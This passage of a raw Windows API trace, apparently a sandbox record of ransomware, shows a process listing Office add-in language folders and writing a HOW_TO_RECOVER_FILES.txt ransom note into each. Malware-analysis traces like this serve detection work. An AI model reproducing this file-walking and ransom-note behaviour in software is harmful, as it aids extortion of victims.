cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0227.940] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x514e0d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x514e0d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5174318, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0227.940] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0227.941] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1de43d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1de43d5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4910, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0227.941] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16140cde, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f05e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.tr.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0227.941] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16140cde, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f05e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.tr.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0227.941] FindClose (in: hFindFile=0x134ada0 | out: hFindFile=0x134ada0) returned 1 [0227.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0227.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0227.942] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0227.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0227.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\tr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0227.944] GetFileType (hFile=0x860) returned 0x1 [0227.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0227.944] GetFileType (hFile=0x860) returned 0x1 [0227.944] WriteFile (in: hFile=0x860, lpBuffer=0x375fbb8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x375fbb8*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0227.945] CloseHandle (hObject=0x860) returned 1 [0227.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0227.945] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk", lpFilePart=0x0) returned 0x51 [0227.945] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b4c0 [0227.946] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.946] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x48cfa7d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x48cfa7d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16546d20, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0227.947] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0227.947] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc240ad7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc240ad7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0227.947] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7b9ee02, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7bc5054, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0227.947] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x161d962a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161ff8f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52560, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.uk.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0227.947] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0227.947] FindClose (in: hFindFile=0x134b4c0 | out: hFindFile=0x134b4c0) returned 1 [0227.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0227.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0227.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0227.948] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk", lpFilePart=0x0) returned 0x51 [0227.948] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0227.949] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.949] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x48cfa7d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x48cfa7d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16546d20, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0227.949] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0227.950] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc240ad7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc240ad7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0227.950] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7b9ee02, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7bc5054, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0227.950] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x161d962a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161ff8f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52560, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.uk.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0227.950] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x161d962a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161ff8f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52560, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.uk.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0227.950] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0227.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0227.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0227.951] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0227.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0227.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\uk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0227.952] GetFileType (hFile=0x860) returned 0x1 [0227.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0227.953] GetFileType (hFile=0x860) returned 0x1 [0227.953] WriteFile (in: hFile=0x860, lpBuffer=0x3773388*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3773388*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0227.954] CloseHandle (hObject=0x860) returned 1 [0227.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0227.954] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi", lpFilePart=0x0) returned 0x51 [0227.954] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0227.955] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.956] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0227.956] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5581c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa68949f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0227.956] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf637b042, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf637b042, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0227.956] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa531f86, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5440, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0227.956] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x161d962a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f7f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.vi.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0227.956] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0227.956] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0227.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0227.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0227.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0227.957] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi", lpFilePart=0x0) returned 0x51 [0227.957] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0227.958] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.958] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0227.958] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5581c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa68949f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0227.958] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf637b042, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf637b042, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0227.959] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa531f86, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5440, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0227.959] 